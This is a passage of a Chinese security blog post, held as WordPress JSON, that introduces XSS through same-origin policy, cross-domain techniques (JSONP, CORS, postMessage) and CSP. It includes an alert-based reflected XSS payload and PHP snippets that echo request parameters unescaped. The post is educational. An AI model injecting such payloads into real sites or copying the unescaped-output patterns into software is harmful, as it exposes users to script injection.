{"id":292,"date":"2021-12-03T17:33:28","date_gmt":"2021-12-03T09:33:28","guid":{"rendered":"https:\/\/www.langsasec.cn\/?p=292"},"modified":"2022-11-14T18:13:44","modified_gmt":"2022-11-14T10:13:44","slug":"allxss","status":"publish","type":"post","link":"https:\/\/blog.langsasec.cn\/index.php\/2021\/12\/03\/allxss\/","title":{"rendered":"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3"},"content":{"rendered":"<h4><span class=\"ez-toc-section\" id=\"xss%e5%9f%ba%e7%a1%80\"><\/span>XSS\u57fa\u7840<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u8de8\u7ad9\u811a\u672c\uff08\u82f1\u8bed\uff1aCross-site scripting\uff0c\u901a\u5e38\u7b80\u79f0\u4e3a\uff1aXSS\uff09\u662f\u4e00\u79cd\u7f51\u7ad9\u5e94\u7528\u7a0b\u5e8f\u7684\u5b89\u5168\u6f0f\u6d1e\u653b\u51fb\uff0c\u662f\u4ee3\u7801\u6ce8\u5165\u7684\u4e00\u79cd\u3002\u5b83\u5141\u8bb8\u6076\u610f\u7528\u6237\u5c06\u4ee3\u7801\u6ce8\u5165\u5230\u7f51\u9875\u4e0a\uff0c\u5176\u4ed6\u7528\u6237\u5728\u89c2\u770b\u7f51\u9875\u65f6\u5c31\u4f1a\u53d7\u5230\u5f71\u54cd\u3002\u8fd9\u7c7b\u653b\u51fb\u901a\u5e38\u5305\u542b\u4e86HTML\u4ee5\u53ca\u7528\u6237\u7aef\u811a\u672c\u8bed\u8a00\u3002<\/p>\n<p>XSS\u653b\u51fb\u901a\u5e38\u6307\u7684\u662f\u901a\u8fc7\u5229\u7528\u7f51\u9875\u5f00\u53d1\u65f6\u7559\u4e0b\u7684\u6f0f\u6d1e\uff0c\u901a\u8fc7\u5de7\u5999\u7684\u65b9\u6cd5\u6ce8\u5165\u6076\u610f\u6307\u4ee4\u4ee3\u7801\u5230\u7f51\u9875\uff0c\u4f7f\u7528\u6237\u52a0\u8f7d\u5e76\u6267\u884c\u653b\u51fb\u8005\u6076\u610f\u5236\u9020\u7684\u7f51\u9875\u7a0b\u5e8f\u3002\u8fd9\u4e9b\u6076\u610f\u7f51\u9875\u7a0b\u5e8f\u901a\u5e38\u662fJavaScript\uff0c\u4f46\u5b9e\u9645\u4e0a\u4e5f\u53ef\u4ee5\u5305\u62ecJava\uff0cVBScript\uff0cActiveX\uff0cFlash\u6216\u8005\u751a\u81f3\u662f\u666e\u901a\u7684HTML\u3002\u653b\u51fb\u6210\u529f\u540e\uff0c\u653b\u51fb\u8005\u53ef\u80fd\u5f97\u5230\u66f4\u9ad8\u7684\u6743\u9650\uff08\u5982\u6267\u884c\u4e00\u4e9b\u64cd\u4f5c\uff09\u3001\u79c1\u5bc6\u7f51\u9875\u5185\u5bb9\u3001\u4f1a\u8bdd\u548ccookie\u7b49\u5404\u79cd\u5185\u5bb9\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e5%90%8c%e6%ba%90%e7%ad%96%e7%95%a5\"><\/span>\u540c\u6e90\u7b56\u7565<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u540c\u6e90\u7b56\u7565\u662f\u6307\u5728Web\u6d4f\u89c8\u5668\u4e2d\uff0c\u5141\u8bb8\u67d0\u4e2a\u7f51\u9875\u811a\u672c\u8bbf\u95ee\u53e6\u4e00\u4e2a\u7f51\u9875\u7684\u6570\u636e\uff0c\u4f46\u524d\u63d0\u662f\u8fd9\u4e24\u4e2a\u7f51\u9875\u5fc5\u987b\u6709\u76f8\u540c\u7684URI\u3001\u4e3b\u673a\u540d\u548c\u7aef\u53e3\u53f7\uff0c\u4e00\u65e6\u4e24\u4e2a\u7f51\u7ad9\u6ee1\u8db3\u4e0a\u8ff0\u6761\u4ef6\uff0c\u8fd9\u4e24\u4e2a\u7f51\u7ad9\u5c31\u88ab\u8ba4\u5b9a\u4e3a\u5177\u6709\u76f8\u540c\u6765\u6e90\u3002\u6b64\u7b56\u7565\u53ef\u9632\u6b62\u67d0\u4e2a\u7f51\u9875\u4e0a\u7684\u6076\u610f\u811a\u672c\u901a\u8fc7\u8be5\u9875\u9762\u7684\u6587\u6863\u5bf9\u8c61\u6a21\u578b\u8bbf\u95ee\u53e6\u4e00\u7f51\u9875\u4e0a\u7684\u654f\u611f\u6570\u636e\u3002<\/p>\n<p>\u540c\u6e90\u7b56\u7565\u5bf9Web\u5e94\u7528\u7a0b\u5e8f\u5177\u6709\u7279\u6b8a\u610f\u4e49\uff0c\u56e0\u4e3aWeb\u5e94\u7528\u7a0b\u5e8f\u5e7f\u6cdb\u4f9d\u8d56\u4e8eHTTP cookie\u6765\u7ef4\u6301\u7528\u6237\u4f1a\u8bdd\uff0c\u6240\u4ee5\u5fc5\u987b\u5c06\u4e0d\u76f8\u5173\u7f51\u7ad9\u4e25\u683c\u5206\u9694\uff0c\u4ee5\u9632\u6b62\u4e22\u5931\u6570\u636e\u6cc4\u9732\u3002<\/p>\n<p>\u503c\u5f97\u6ce8\u610f\u7684\u662f\u540c\u6e90\u7b56\u7565\u4ec5\u9002\u7528\u4e8e\u811a\u672c\uff0c\u8fd9\u610f\u5473\u7740\u67d0\u7f51\u7ad9\u53ef\u4ee5\u901a\u8fc7\u76f8\u5e94\u7684HTML\u6807\u7b7e\u8bbf\u95ee\u4e0d\u540c\u6765\u6e90\u7f51\u7ad9\u4e0a\u7684\u56fe\u50cf\u3001CSS\u548c\u52a8\u6001\u52a0\u8f7d\u811a\u672c\u7b49\u8d44\u6e90\u3002\u800c\u8de8\u7ad9\u8bf7\u6c42\u4f2a\u9020\u5c31\u662f\u5229\u7528\u540c\u6e90\u7b56\u7565\u4e0d\u9002\u7528\u4e8eHTML\u6807\u7b7e\u7684\u7f3a\u9677\u3002<\/p>\n<p>\u4e3e\u4f8b\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/055ce6e062a377010b3a51f2ae693237_20857.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe\" \/><\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e8%b7%a8%e5%9f%9f%e6%96%b9%e6%b3%95%e6%80%bb%e7%bb%93\"><\/span>\u8de8\u57df\u65b9\u6cd5\u603b\u7ed3<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>HTML\u6807\u7b7e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script&gt; \uff0c&lt;img&gt; \uff0c&lt;iframe&gt;\uff0c&lt;link&gt;\u7b49\u5e26src\u5c5e\u6027\u7684\u6807\u7b7e\u90fd\u53ef\u4ee5\u8de8\u57df\u52a0\u8f7d\u8d44\u6e90\uff0c\u800c\u4e0d\u53d7\u540c\u6e90\u7b56\u7565\u7684\u9650\u5236\u3002\u6bcf\u6b21\u52a0\u8f7d\u65f6\u90fd\u4f1a\u7531\u6d4f\u89c8\u5668\u53d1\u9001\u4e00\u6b21GET\u8bf7\u6c42\uff0c\u901a\u8fc7src\u5c5e\u6027\u52a0\u8f7d\u7684\u8d44\u6e90\uff0c\u6d4f\u89c8\u5668\u4f1a\u9650\u5236JavaScript\u7684\u6743\u9650\uff0c\u4f7f\u5176\u4e0d\u80fd\u8bfb\u5199\u8fd4\u56de\u7684\u5185\u5bb9\u3002<\/code><\/pre>\n<p>\u5e38\u89c1\u6807\u7b7e\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script src=&quot;...&quot;&gt;&lt;\/script&gt;&lt;img src=&quot;...&quot;&gt;&lt;video src=&quot;...&quot;&gt;&lt;\/video&gt;&lt;audio src=&quot;...&quot;&gt;&lt;\/audio&gt;&lt;embed src=&quot;...&quot;&gt;&lt;frame src=&quot;...&quot;&gt;&lt;iframe src=&quot;...&quot;&gt;&lt;\/iframe&gt;&lt;link rel=&quot;stylesheet&quot; href=&quot;...&quot;&gt;&lt;applet code=&quot;...&quot;&gt;&lt;\/applet&gt;&lt;object data=&quot;...&quot; &gt;&lt;\/object&gt;<\/code><\/pre>\n<p><strong>document.domain<\/strong><\/p>\n<ul>\n<li>\u539f\u7406\uff1a\u76f8\u540c\u4e3b\u57df\u540d\u4e0d\u540c\u5b50\u57df\u540d\u4e0b\u7684\u9875\u9762\uff0c\u53ef\u4ee5\u8bbe\u7f6edocument.domain\u8ba9\u5b83\u4eec\u540c\u57df<\/li>\n<\/ul>\n<p>\u6211\u4eec\u53ea\u9700\u8981\u5728\u8de8\u57df\u7684\u4e24\u4e2a\u9875\u9762\u4e2d\u8bbe\u7f6edocument.domain\u5c31\u53ef\u4ee5\u4e86\u3002\u4fee\u6539document.domain\u7684\u65b9\u6cd5\u53ea\u9002\u7528\u4e8e\u4e0d\u540c\u5b50\u57df\u7684\u6846\u67b6\u95f4\u7684\u4ea4\u4e92\uff0c\u8981\u8f7d\u5165iframe\u9875\u9762\u3002<br \/>\n\u4f8b\u5982\uff1a<\/p>\n<ol>\n<li>\u5728\u9875\u9762 <a href=\"http:\/\/a.example.com\/a.html\">http:\/\/a.example.com\/a.html<\/a> \u8bbe\u7f6edocument.domain<\/li>\n<\/ol>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;iframe id = &quot;iframe&quot; src=&quot;http:\/\/b.example.com\/b.html&quot; onload = &quot;test()&quot;&gt;&lt;\/iframe&gt;&lt;script type=&quot;text\/javascript&quot;&gt;    document.domain = &#039;example.com&#039;;\/\/\u8bbe\u7f6e\u6210\u4e3b\u57df    function test(){        alert(document.getElementById(&#039;\ufffciframe&#039;).contentWindow);\/\/contentWindow \u53ef\u53d6\u5f97\u5b50\u7a97\u53e3\u7684 window \u5bf9\u8c61    }&lt;\/script&gt;<\/code><\/pre>\n<p>2\u3001\u5728\u9875\u9762http:\/\/ b.example.com\/b.html \u4e2d\u8bbe\u7f6edocument.domain<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script type=&quot;text\/javascript&quot;&gt;    document.domain = &#039;example.com&#039;;\/\/\u5728iframe\u8f7d\u5165\u8fd9\u4e2a\u9875\u9762\u4e5f\u8bbe\u7f6edocument.domain\uff0c\u4f7f\u4e4b\u4e0e\u4e3b\u9875\u9762\u7684document.domain\u76f8\u540c&lt;\/script&gt;<\/code><\/pre>\n<p><strong>Window.name<\/strong><\/p>\n<p>\u5728javascript\u4e2d\uff0cWindow \u5bf9\u8c61\u8868\u793a\u6d4f\u89c8\u5668\u4e2d\u6253\u5f00\u7684\u7a97\u53e3\uff0c\u800cname\u5c5e\u6027\u53ef\u8bbe\u7f6e\u6216\u8fd4\u56de\u5b58\u653e\u7a97\u53e3\u7684\u540d\u79f0\u7684\u4e00\u4e2a\u5b57\u7b26\u4e32\u3002<\/p>\n<p>window.name\u6709\u4e00\u4e2a\u5947\u5999\u7684\u6027\u8d28\uff0c\u9875\u9762\u5982\u679c\u8bbe\u7f6e\u4e86window.name\uff0c\u90a3\u4e48\u5728\u4e0d\u5173\u95ed\u9875\u9762\u7684\u60c5\u51b5\u4e0b\uff0c\u5373\u4f7f\u8fdb\u884c\u4e86\u9875\u9762\u8df3\u8f6clocation.href=\u2026\uff0c\u8fd9\u4e2awindow.name\u8fd8\u662f\u4f1a\u4fdd\u7559\u3002<\/p>\n<p>\u5229\u7528window.name\u7684\u6027\u8d28\uff0c\u6211\u4eec\u53ef\u4ee5\u5728iframe\u4e2d\u52a0\u8f7d\u4e00\u4e2a\u8de8\u57df\u9875\u9762\u3002<\/p>\n<p>\u8fd9\u4e2a\u9875\u9762\u8f7d\u5165\u4e4b\u540e\uff0c\u8ba9\u5b83\u8bbe\u7f6e\u81ea\u5df1\u7684window.name\uff0c\u7136\u540e\u518d\u8ba9\u5b83\u8fdb\u884c\u5f53\u524d\u9875\u9762\u7684\u8df3\u8f6c\uff0c\u8df3\u8f6c\u5230\u4e0eiframe\u5916\u7684\u9875\u9762\u540c\u57df\u7684\u9875\u9762\uff0c\u6b64\u65f6window.name\u662f\u4e0d\u4f1a\u6539\u53d8\u7684\u3002<\/p>\n<p>\u8fd9\u6837\uff0ciframe\u5185\u5916\u5c31\u5c5e\u4e8e\u540c\u4e00\u4e2a\u57df\u4e86\uff0c\u4e14window.name\u8fd8\u662f\u8de8\u57df\u7684\u9875\u9762\u6240\u8bbe\u7f6e\u7684\u503c\u3002<\/p>\n<p>\u5047\u8bbe\u6211\u4eec\u67093\u4e2a\u9875\u9762\uff0c<\/p>\n<blockquote>\n<p>a.com\/index.html<br \/>\na.com\/empty.html<br \/>\nb.com\/index.html<\/p>\n<\/blockquote>\n<p>\uff081\uff09\u5728a.com\/index.html \u9875\u9762\u4e2d\u5d4c\u5165\u4e00\u4e2aiframe\uff0c\u8bbe\u7f6esrc\u4e3ab.com\/index.html<br \/>\n\uff082\uff09b.com\/index.html \u8f7d\u5165\u540e\uff0c\u8bbe\u7f6e<code>window.name<\/code>\uff0c\u7136\u540e\u518d\u4f7f\u7528<code>location.href=&#039;a.com\/empty.html&#039;<\/code>\u8df3\u8f6c\u5230\u4e0eiframe\u5916\u9875\u9762\u540c\u57df\u7684\u9875\u9762\u4e2d\u3002<br \/>\n\uff083\uff09\u5728a.com\/index.html \u9875\u9762\u4e2d\uff0c\u5c31\u53ef\u4ee5\u901a\u8fc7<code>$(&#039;iframe&#039;).contentWindow.name<\/code>\u6765\u83b7\u53d6iframe\u5185\u9875\u9762a.com\/empty.html \u7684<code>window.name<\/code>\u503c\u4e86\uff0c\u800c\u8fd9\u4e2a\u503c\u6b63\u662fb.com\/index.html \u8bbe\u7f6e\u7684\u3002<\/p>\n<p><strong>window.postMessage<\/strong><\/p>\n<p><code>window.postMessage(message, targetOrgin)<\/code>\u65b9\u6cd5\u662fhtml5\u65b0\u5f15\u8fdb\u7684\u7279\u6027\u3002<br \/>\n\u8c03\u7528postMessage\u65b9\u6cd5\u7684window\u5bf9\u8c61\u662f\u6307\u8981\u63a5\u53d7\u6d88\u606f\u7684\u54ea\u4e00\u4e2awindow\u5bf9\u8c61\uff0c\u8be5\u65b9\u6cd5\u7684\u7b2c\u4e00\u4e2a\u53c2\u6570message\u4e3a\u8981\u53d1\u9001\u7684\u6d88\u606f\uff0c\u7c7b\u578b\u53ea\u80fd\u4e3a\u5b57\u7b26\u4e32\uff1b\u7b2c\u4e8c\u4e2a\u53c2\u6570targetOrgin\u7528\u6765\u9650\u5b9a\u63a5\u6536\u6d88\u606f\u7684\u90a3\u4e2awindow\u5bf9\u8c61\u6240\u5728\u7684\u57df\uff0c\u5982\u679c\u4e0d\u60f3\u9650\u5b9a\u57df\uff0c\u53ef\u4ee5\u4f7f\u7528\u901a\u914d\u7b26*\u3002<\/p>\n<p>\u9700\u8981\u63a5\u6536\u6d88\u606f\u7684window\u5bf9\u8c61\uff0c\u53ef\u662f\u901a\u8fc7\u76d1\u542c\u81ea\u8eab\u7684message\u65f6\u95f4\u6765\u83b7\u53d6\u4f20\u8fc7\u6765\u7684\u6d88\u606f\uff0c\u6d88\u606f\u5185\u5bb9\u5b58\u50a8\u5728\u8be5\u4e8b\u4ef6\u5bf9\u8c61\u7684data\u5c5e\u6027\u4e2d\u3002<\/p>\n<p><strong>location.hash<\/strong><\/p>\n<p>location.hash \u65b9\u5f0f\u8de8\u57df\uff0c\u662f\u5b50\u6846\u67b6\u5177\u6709\u4fee\u6539\u7236\u6846\u67b6 src \u7684 hash \u503c\uff0c\u901a\u8fc7\u8fd9\u4e2a\u5c5e\u6027\u8fdb\u884c\u4f20\u9012\u6570\u636e\uff0c\u4e14\u66f4\u6539 hash \u503c\uff0c\u9875\u9762\u4e0d\u4f1a\u5237\u65b0\u3002\u4f46\u662f\u4f20\u9012\u7684\u6570\u636e\u7684\u5b57\u8282\u6570\u662f\u6709\u9650\u7684\u3002<\/p>\n<p>\u8be6\u7ec6\u53c2\u8003\uff1a<a href=\"https:\/\/xz.aliyun.com\/t\/224#toc-3\">https:\/\/xz.aliyun.com\/t\/224#toc-3<\/a><br \/>\na.html\u6b32\u4e0eb.html\u8de8\u57df\u76f8\u4e92\u901a\u4fe1\uff0c\u901a\u8fc7\u4e2d\u95f4\u9875c.html\u6765\u5b9e\u73b0\u3002 \u4e09\u4e2a\u9875\u9762\uff0c\u4e0d\u540c\u57df\u4e4b\u95f4\u5229\u7528iframe\u7684location.hash\u4f20\u503c\uff0c\u76f8\u540c\u57df\u4e4b\u95f4\u76f4\u63a5js\u8bbf\u95ee\u6765\u901a\u4fe1\u3002<br \/>\n\u5177\u4f53\u5b9e\u73b0\u6b65\u9aa4\uff1a\u4e00\u5f00\u59cba.html\u7ed9b.html\u4f20\u4e00\u4e2ahash\u503c\uff0c\u7136\u540eb.html\u6536\u5230hash\u503c\u540e\uff0c\u518d\u628ahash\u503c\u4f20\u9012\u7ed9c.html\uff0c\u6700\u540ec.html\u5c06\u7ed3\u679c\u653e\u5230a.html\u7684hash\u503c\u4e2d\u3002<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/abe696c7452dc67f4cb557156ae29048_33825.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe1\" \/><\/p>\n<p><strong>JSONP\u8de8\u57df<\/strong><\/p>\n<ul>\n<li>\u539f\u7406\uff1a<code>&lt;script&gt;<\/code>\u662f\u53ef\u4ee5\u8de8\u57df\u7684\uff0c\u800c\u4e14\u5728\u8de8\u57df\u811a\u672c\u4e2d\u53ef\u4ee5\u76f4\u63a5\u56de\u8c03\u5f53\u524d\u811a\u672c\u7684\u51fd\u6570<\/li>\n<\/ul>\n<p>script\u6807\u7b7e\u662f\u53ef\u4ee5\u52a0\u8f7d\u5f02\u57df\u7684JavaScript\u5e76\u6267\u884c\u7684\uff0c\u901a\u8fc7\u9884\u5148\u8bbe\u5b9a\u597d\u7684callback\u51fd\u6570\u6765\u5b9e\u73b0\u548c\u6bcd\u9875\u9762\u7684\u4ea4\u4e92\u3002\u5b83\u6709\u4e00\u4e2a\u5927\u540d\uff0c\u53eb\u505aJSONP\u8de8\u57df\uff0cJSONP\u662fJSON with Padding\u7684\u7565\u79f0\u3002\u5b83\u662f\u4e00\u4e2a\u975e\u5b98\u65b9\u7684\u534f\u8bae\uff0c\u660e\u660e\u662f\u52a0\u8f7dscript\uff0c\u4e3a\u5565\u548cJSON\u626f\u4e0a\u5173\u7cfb\u5462\uff1f\u539f\u6765\u5c31\u662f\u8fd9\u4e2acallback\u51fd\u6570\uff0c\u5bf9\u5b83\u7684\u4f7f\u7528\u6709\u4e00\u4e2a\u5178\u578b\u7684\u65b9\u5f0f\uff0c\u5c31\u662f\u901a\u8fc7JSON\u6765\u4f20\u53c2\uff0c\u5373\u5c06JSON\u6570\u636e\u586b\u5145\u8fdb\u56de\u8c03\u51fd\u6570\uff0c\u8fd9\u5c31\u662fJSONP\u7684JSON+Padding\u7684\u542b\u4e49\u3002JSONP\u53ea\u652f\u6301GET\u8bf7\u6c42\u3002<br \/>\n\u524d\u7aef\u4ee3\u7801\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script type=&quot;text\/javascript&quot;&gt;    function dosomething(jsondata){        \/\/\u5904\u7406\u83b7\u5f97\u7684json\u6570\u636e    }&lt;\/script&gt;&lt;script src=&quot;http:\/\/haorooms.com\/data.php?callback=dosomething&quot;&gt;&lt;\/script&gt;<\/code><\/pre>\n<p>\u540e\u53f0\u4ee3\u7801\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;?php$callback = $_GET[&#039;callback&#039;];\/\/\u5f97\u5230\u56de\u8c03\u51fd\u6570\u540d$data = array(&#039;a&#039;,&#039;b&#039;,&#039;c&#039;);\/\/\u8981\u8fd4\u56de\u7684\u6570\u636eecho $callback.&#039;(&#039;.json_encode($data).&#039;)&#039;;\/\/\u8f93\u51fa?&gt;<\/code><\/pre>\n<p><strong>\u8de8\u57df\u8d44\u6e90\u5171\u4eab\uff08CORS\uff09<\/strong><\/p>\n<ul>\n<li>\u539f\u7406\uff1a\u670d\u52a1\u5668\u8bbe\u7f6eAccess-Control-Allow-Origin HTTP\u54cd\u5e94\u5934\u4e4b\u540e\uff0c\u6d4f\u89c8\u5668\u5c06\u4f1a\u5141\u8bb8\u8de8\u57df\u8bf7\u6c42<\/li>\n<\/ul>\n<p>CORS\u662fHTML5\u6807\u51c6\u63d0\u51fa\u7684\u8de8\u57df\u8d44\u6e90\u5171\u4eab(Cross Origin Resource Share)\uff0c\u652f\u6301GET\u3001POST\u7b49\u6240\u6709HTTP\u8bf7\u6c42\u3002CORS\u9700\u8981\u670d\u52a1\u5668\u7aef\u8bbe\u7f6e<code>Access-Control-Allow-Origin<\/code>\u5934\uff0c\u5426\u5219\u6d4f\u89c8\u5668\u4f1a\u56e0\u4e3a\u5b89\u5168\u7b56\u7565\u62e6\u622a\u8fd4\u56de\u7684\u4fe1\u606f\u3002<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">Access-Control-Allow-Origin: *              # \u5141\u8bb8\u6240\u6709\u57df\u540d\u8bbf\u95ee\uff0c\u6216\u8005Access-Control-Allow-Origin: http:\/\/a.com   # \u53ea\u5141\u8bb8\u6240\u6709\u57df\u540d\u8bbf\u95ee<\/code><\/pre>\n<p>CORS\u53c8\u5206\u4e3a\u7b80\u5355\u8de8\u57df\u548c\u975e\u7b80\u5355\u8de8\u57df\u8bf7\u6c42\uff0c\u6709\u5173CORS\u7684\u8be6\u7ec6\u4ecb\u7ecd\u8bf7\u770b<code>\u962e\u4e00\u5cf0<\/code>\u7684<a href=\"http:\/\/www.ruanyifeng.com\/blog\/2016\/04\/cors.html\">\u8de8\u57df\u8d44\u6e90\u5171\u4eab CORS \u8be6\u89e3<\/a>\uff0c\u91cc\u9762\u8bb2\u89e3\u7684\u975e\u5e38\u8be6\u7ec6\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"csp-%e5%86%85%e5%ae%b9%e5%ae%89%e5%85%a8%e7%ad%96%e7%95%a5\"><\/span>CSP-\u5185\u5bb9\u5b89\u5168\u7b56\u7565<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>CSP\uff08Content Security Policy\uff09\u5373\u5185\u5bb9\u5b89\u5168\u7b56\u7565\uff0c\u4e3a\u4e86\u7f13\u89e3\u5f88\u5927\u4e00\u90e8\u5206\u6f5c\u5728\u7684\u8de8\u7ad9\u811a\u672c\u95ee\u9898\uff0c\u6d4f\u89c8\u5668\u7684\u6269\u5c55\u7a0b\u5e8f\u7cfb\u7edf\u5f15\u5165\u4e86\u5185\u5bb9\u5b89\u5168\u7b56\u7565\uff08CSP\uff09\u7684\u4e00\u822c\u6982\u5ff5\u3002\u8fd9\u5c06\u5f15\u5165\u4e00\u4e9b\u76f8\u5f53\u4e25\u683c\u7684\u7b56\u7565\uff0c\u4f1a\u4f7f\u6269\u5c55\u7a0b\u5e8f\u5728\u9ed8\u8ba4\u60c5\u51b5\u4e0b\u66f4\u52a0\u5b89\u5168\uff0c\u5f00\u53d1\u8005\u53ef\u4ee5\u521b\u5efa\u5e76\u5f3a\u5236\u5e94\u7528\u4e00\u4e9b\u89c4\u5219\uff0c\u7ba1\u7406\u7f51\u7ad9\u5141\u8bb8\u52a0\u8f7d\u7684\u5185\u5bb9\u3002<br \/>\nCSP\u7684\u5b9e\u8d28\u5c31\u662f\u767d\u540d\u5355\u673a\u5236\uff0c\u5bf9\u7f51\u7ad9\u52a0\u8f7d\u6216\u6267\u884c\u7684\u8d44\u6e90\u8fdb\u884c\u5b89\u5168\u7b56\u7565\u7684\u63a7\u5236\u3002<\/p>\n<p>\u5173\u4e8eCSP\u7ed5\u8fc7\uff0c\u5728\u4e0b\u9762\u7684<code>XSS Bypass - CSP\u7ed5\u8fc7<\/code>\u677f\u5757\u4e2d\u6709\u6240\u4ecb\u7ecd\u3002<\/p>\n<h4><span class=\"ez-toc-section\" id=\"xss%e5%88%86%e7%b1%bb%e5%8f%8a%e5%af%b9%e6%af%94\"><\/span>XSS\u5206\u7c7b\u53ca\u5bf9\u6bd4<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u6700\u5e38\u89c1\u7684\u4e09\u79cd\u5206\u7c7b\uff1a<\/p>\n<ul>\n<li>\u53cd\u5c04\u578b\uff08\u975e\u6301\u4e45\u578b\uff09<\/li>\n<li>\u5b58\u50a8\u578b\uff08\u6301\u4e45\u578b\uff09<\/li>\n<li>DOM\u578b<\/li>\n<\/ul>\n<h5><span class=\"ez-toc-section\" id=\"%e5%8f%8d%e5%b0%84%e5%9e%8b\"><\/span>\u53cd\u5c04\u578b<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p><strong>\u53cd\u5c04\u578bXSS<\/strong>\u53ea\u662f\u7b80\u5355\u7684\u628a\u7528\u6237\u8f93\u5165\u7684\u6570\u636e\u4ece\u670d\u52a1\u5668\u53cd\u5c04\u7ed9\u7528\u6237\u6d4f\u89c8\u5668\uff0c\u8981\u5229\u7528\u8fd9\u4e2a\u6f0f\u6d1e\uff0c\u653b\u51fb\u8005\u5fc5\u987b\u4ee5\u67d0\u79cd\u65b9\u5f0f\u8bf1\u5bfc\u7528\u6237\u8bbf\u95ee\u4e00\u4e2a\u7cbe\u5fc3\u8bbe\u8ba1\u7684URL\uff08\u6076\u610f\u94fe\u63a5\uff09\uff0c\u624d\u80fd\u5b9e\u65bd\u653b\u51fb\u3002<\/p>\n<p>\u4e3e\u4f8b\u6765\u8bf4\uff0c\u5f53\u4e00\u4e2a\u7f51\u7ad9\u7684\u4ee3\u7801\u4e2d\u5305\u542b\u7c7b\u4f3c\u4e0b\u9762\u7684\u8bed\u53e5\uff0c<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;?php echo &quot;&lt;p&gt;hello,$_GET[&#039;user&#039;]&lt;\/p&gt;&quot;; ?&gt;<\/code><\/pre>\n<p>\u90a3\u4e48\u5728\u8bbf\u95ee\u65f6\u8bbe\u7f6e<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">xxxxxx\/?user=&lt;\/p&gt;&lt;script&gt;alert(&quot;hack&quot;)&lt;\/script&gt;&lt;p&gt;<\/code><\/pre>\n<p>,\u5219\u53ef\u6267\u884c\u9884\u8bbe\u597d\u7684JavaScript\u4ee3\u7801\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e6%bc%8f%e6%b4%9e%e6%88%90%e5%9b%a0\"><\/span>\u6f0f\u6d1e\u6210\u56e0<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u5f53\u7528\u6237\u7684\u8f93\u5165\u6216\u8005\u4e00\u4e9b\u7528\u6237\u53ef\u63a7\u53c2\u6570\u672a\u7ecf\u5904\u7406\u5730\u8f93\u51fa\u5230\u9875\u9762\u4e0a\uff0c\u5c31\u5bb9\u6613\u4ea7\u751fXSS\u6f0f\u6d1e\u3002\u4e3b\u8981\u573a\u666f\u6709\u4ee5\u4e0b\u51e0\u79cd\uff1a<\/p>\n<p>1\u3001\u5c06\u4e0d\u53ef\u4fe1\u6570\u636e\u63d2\u5165\u5230HTML\u6807\u7b7e\u4e4b\u95f4\u65f6\uff0c\u4f8b\u5982DIV, P, TD\uff1b<\/p>\n<p>2\u3001\u5c06\u4e0d\u53ef\u4fe1\u6570\u636e\u63d2\u5165\u5230HTML\u5c5e\u6027\u91cc\u65f6\uff0c\u5f62\u5982\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;div width=$INPUT&gt; \u2026content\u2026 &lt;\/div&gt;<\/code><\/pre>\n<p>3\u3001\u5c06\u4e0d\u53ef\u4fe1\u6570\u636e\u63d2\u5165\u5230SCRIPT\u91cc\u65f6\uff0c\u5982\u4e0b\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script&gt;var message = \u201d $INPUT \u201c;&lt;\/script&gt;<\/code><\/pre>\n<p>4\u3001\u8fd8\u6709\u63d2\u5165\u5230Style\u5c5e\u6027\u91cc\u7684\u60c5\u51b5\uff0c\u540c\u6837\u5177\u6709\u4e00\u5b9a\u7684\u5371\u5bb3\u6027<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;span style=\u201d property : $INPUT \u201d&gt; \u2026 &lt;\/span&gt;<\/code><\/pre>\n<p>5\u3001\u5c06\u4e0d\u53ef\u4fe1\u6570\u636e\u63d2\u5165\u5230HTML URL\u91cc\u65f6\uff0c\u5f62\u5982\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;a href=\u201dhttp:\/\/www.abcd.com?param= $INPUT \u201d&gt; Link Content &lt;\/a&gt;<\/code><\/pre>\n<p>6\u3001\u4f7f\u7528\u5bcc\u6587\u672c\u65f6\uff0c\u6ca1\u6709\u4f7f\u7528XSS\u89c4\u5219\u5f15\u64ce\u8fdb\u884c\u7f16\u7801\u8fc7\u6ee4\u3002<\/p>\n<p>\u5bf9\u4e8e\u4ee5\u4e0a\u7684\u51e0\u4e2a\u573a\u666f\uff0c\u82e5\u670d\u52a1\u7aef\u6ca1\u6709\u505a\u597d\u9632\u8303\u63aa\u65bd\uff0c\u5c31\u4f1a\u51fa\u73b0\u6f0f\u6d1e\u9690\u60a3\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e5%88%a9%e7%94%a8%e6%96%b9%e5%bc%8f\"><\/span>\u5229\u7528\u65b9\u5f0f<span 